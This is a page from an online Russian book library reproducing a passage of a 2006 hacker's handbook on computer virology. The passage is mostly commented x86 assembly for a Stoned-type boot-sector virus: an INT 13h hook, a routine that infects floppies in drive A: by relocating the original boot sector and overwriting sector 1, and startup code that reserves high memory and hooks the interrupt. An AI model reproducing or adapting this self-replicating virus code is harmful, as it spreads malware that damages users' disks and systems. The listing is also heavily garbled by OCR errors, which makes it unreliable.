Книги
чёрным по белому
Главное меню
Главная О нас Добавить материал Поиск по сайту Карта книг Карта сайта
Книги
Археология Архитектура Бизнес Биология Ветеринария Военная промышленность География Геология Гороскоп Дизайн Журналы Инженерия Информационные ресурсы Искусство История Компьютерная литература Криптология Кулинария Культура Лингвистика Математика Медицина Менеджмент Металлургия Минералогия Музыка Научная литература Нумизматика Образование Охота Педагогика Политика Промышленные производства Психология Путеводители Религия Рыбалка Садоводство Саморазвитие Семиотика Социология Спорт Столярное дело Строительство Техника Туризм Фантастика Физика Футурология Химия Художественная литература Экология Экономика Электроника Энергетика Этика Юриспруденция
Новые книги
Цуканов Б.И. "Время в психике человека" (Медицина)

Суворов С. "Танк Т-64. Первенец танков 2-го поколения " (Военная промышленность)

Нестеров В.А. "Основы проэктирования ракет класса воздух- воздух и авиационных катапульных установок для них" (Военная промышленность)

Фогль Б. "101 вопрос, который задала бы ваша кошка своему ветеринару если бы умела говорить" (Ветеринария)

Яблоков Н.П. "Криминалистика" (Юриспруденция)
Реклама

Азбука хакера 3. Компьютерная вирусология - Собейкис В.Г.

Собейкис В.Г. Азбука хакера 3. Компьютерная вирусология — М.: Майор, 2006. — 512 c.
ISBN 5-98551-013-1
Скачать (прямая ссылка): hakeriazbukahakera2006.djvu
Предыдущая << 1 .. 67 68 69 70 71 72 < 73 > 74 75 76 77 78 79 .. 123 >> Следующая

не с привычного для нас 7С00. Первые четыре байта этого кода (ЕА 05 00
ОС) служат для того, чтобы вирус опознавал самого себя на дискете или
жестком диске.
START 1: DB 0ЕАН,5,0,0С0Н,7 дальний прыжок к PTR START2
START2: JMP NEAR PTR START3 ;переходим к процедуре
;старта routine
Область данных для вируса:
DRIVE_NO DB 0 ;загрузочный диск: 0=дискета, 2=жесткий диск
OLDJNT13 DW 0,0 ;сегмент:офсет обработчика
;ВЮ8-прерывания 13Н
HIMEM.JMP DW OFFSET HIMEM,0 ;прыжок к этому @ в
;верхней памяти
BOOT_SEC_START DW 7С00Н.0 сегмента:офсета
;зафузочного сектора
Это вирусный обработчик прерывания 13Н. Он отслеживает попытки чтения с
дискеты или записи на дискету. Любая такая попытка перехватывается и
вызывается подпрограмма INFECTFLOPPY.
INTJ3H:
PUSH DS ;вирусный обработчик int 13h PUSH АХ
CMP АН,2 ;ищем функции 2 и 3
JB GOTO_BIOS; иначе переходим к BIOS обработчику int 13h
CMP АН,4
JNB GOTO_BIOS
OR DL.DL ;мы читаем диск 0?
JNE GOTO_BIOS ;нет, переходим к BIOS-обработчику int 13h
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
XOR АХ,АХ ;да, активируем вирус
MOV DS.AX ;устанавливаем ds=0
MOV AL,DS:[MOTOR_STATUS] ;статус дискового мотора TEST AL, 1 ; мотор д
иска 0 работает?
JNZ GOTO_BIOS ;да, пусть им управляет BIOS
CALL INFECT_FLOPPY ;начинаем инфицирование дискеты в А:
GOTO.BIOS: POP АХ {восстанавливаем ах и ds
POP DS {позволяем BIOS читать/писать
JMP DWORD PTR CS:[OLDJNT13] {прыгаем к старому int 13
Эта подпрограмма инфицирует дискету в А:. Она "тачала проверяет дискету и
смотрит, не заражена ли она. При этом она читает загрузочный сектор из ее
памяти и сравнивает первые четыре байта с первыми четырьмя байтами
вирусного загрузочного сектора, который уже загружен в память.
Если они различаются, подпрограмма инфекции переписывает оригинальный
загрузочный сектор в цилиндр О, головку 1, сектор 3 (последний сектор в
корневой директории).
Пока корневая директория содержит меньше 16 записей, проблем не
возникает. Затем вирус пишет себя в цилиндр О, головку 0, сектор 1
(фактический загрузочный сектор).
INFECT_FLOPPY.
PUSH ВХ {сохраняем все
PUSH СХ PUSH DX PUSH ES PUSH SI PUSH DI MOV SI,4 READJ-OOP:
MOV AX.201H {читаем загрузочный сектор с дискеты PUSH CS
ГЛАВА 6. Инфицирование загрузочного сектора
POP ES ;es=cs (здесь)
MOV ВХ.200Н {читаем буфер в конце вируса
XOR СХ.СХ ;dx=cx=0
MOV DX.CX -.читаем цил. О, гол. О, сек. 1,
INC СХ {загрузочный сектор дискеты
PUSHF {подделываем int 13h с помощью push/call
CALL DWORD PTR CS:[OLD_INT13]
JNC CHECK_BOOT_SEC ;если ошибки нет, проверяем bs XOR AX,AX {ошибка,
попытка переустановки диска PUSHF {снова подделываем int 13h
CALL DWORD PTR CS:[OLDJNT13]
DEC SI {декрементируем счетчик
JNZ READ_LOOP {снова пытаемся, если счетчик OK JMP SHORT EXITJNFECT
{чтение не удалось, выход NOP
Здесь \ш определяем, был ли уже заражен загрузочный сектор с дискеты.
CHECK_BOOT_SEC:
XOR SI,SI ;si указывает на вирус в ram MOV DI.200H ;di указывает на bs
CLD
PUSH CS ;ds=cs
POP DS
LODSW {сравниваем первые 4 байта вируса СМР AX,[DI] ;и смотрим, одинаковы
ли они JNE WRITE_VIRUS ; нет, устанавливаем вирус на дискету LODSW СМР
AX,[DI+2]
JE EXITJNFECT {одинаковы, уже заражена

Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
WRITE.VIRUS:
MOV АХ.301Н ;записываем вирус на дискету в А:
MOV ВХ.200Н ;сначала помещает оригинальный загрузочный
MOV CL.3 ;в сектор в цил. О, гол. 1, сек. 3
MOV DH, 1 ;это последний сектор в корневой
PUSHF ; директории
CALL DWORD PTR CS: [OLDJNT13] '.подделываем int 13
JC EXITJNFECT ;если ошибка, просто выходим
MOV АХ.301Н ;иначе, записываем вирусный загрузочный XOR ВХ.ВХ ;сектор в
цил. О, гол. О, сек. 1
MOV CL, 1 ;отсюда в RAM
XOR DX.DX
PUSHF :подделываем int 13 в ROM BIOS
CALL DWORD PTR CS:[OLDJNT13]
EXITJNFECT:
POP Dl ;выход подпрограммы инфицирования
POP SI {восстанавливаем все
POP ES POP DX POP CX POP BX RET
Это стартовый код для вирусного загрузочного сектора, который выполняется
при загрузке системы.
START3:
XOR АХ,АХ ;старт загрузочного сектора Stoned MOV DS.AX установить
ds=ss=0
CLI ;отключаем прерывания для изменений стека MOV SS.AX
ПО А
ГЛАВА 6. Инфицирование загрузочного сектора
MOV SP.7C00H {инициализируем стек в 0000:7000 STI
MOV AX.WORD PTR ds:(int 13_Off] {получаем текущий {вектор int 13h
MOV DS:[OLD_INT13+7COOH],AX {сохраняем его здесь MOV AX.WORD PTR
ds:[int13_Seg]
MOV DS: [OLDJNT13+7C02H], AX
MOV AX,DS:[MEM_SIZE] {получаем размер памяти в 1К блоках DEC АХ {вычитаем
из него 2К DEC АХ
MOV DS:[MEM_SIZE],AX {сохраняем его обратно
MOV CL.6 {конвертируем размер памяти в
SHL AX.CL {значение сегмента
MOV ES.AX ;и помещаем его в es
MOV DS:[HIMEM_JMP+7C02H],AX {сохраняем сегмент здесь
MOV АХ,OFFSET INT_13H {перехватываем прерывание 13HMOV WORD PTR
ds:[int13_Off],AX ;в верхней памяти
MOV WORD PTR ds:[int13_Seg],ES
MOV CX,OFFSET END_VIRUS {перемещаем это в верхнюю память PUSH CS
POP DS ;cs=7C0H из дальнего прыжка в начало XOR SI,SI ;si=di=0
MOV Dl.SI CLD
REP MOVSB {передвигаем вирус в верхнюю память
Предыдущая << 1 .. 67 68 69 70 71 72 < 73 > 74 75 76 77 78 79 .. 123 >> Следующая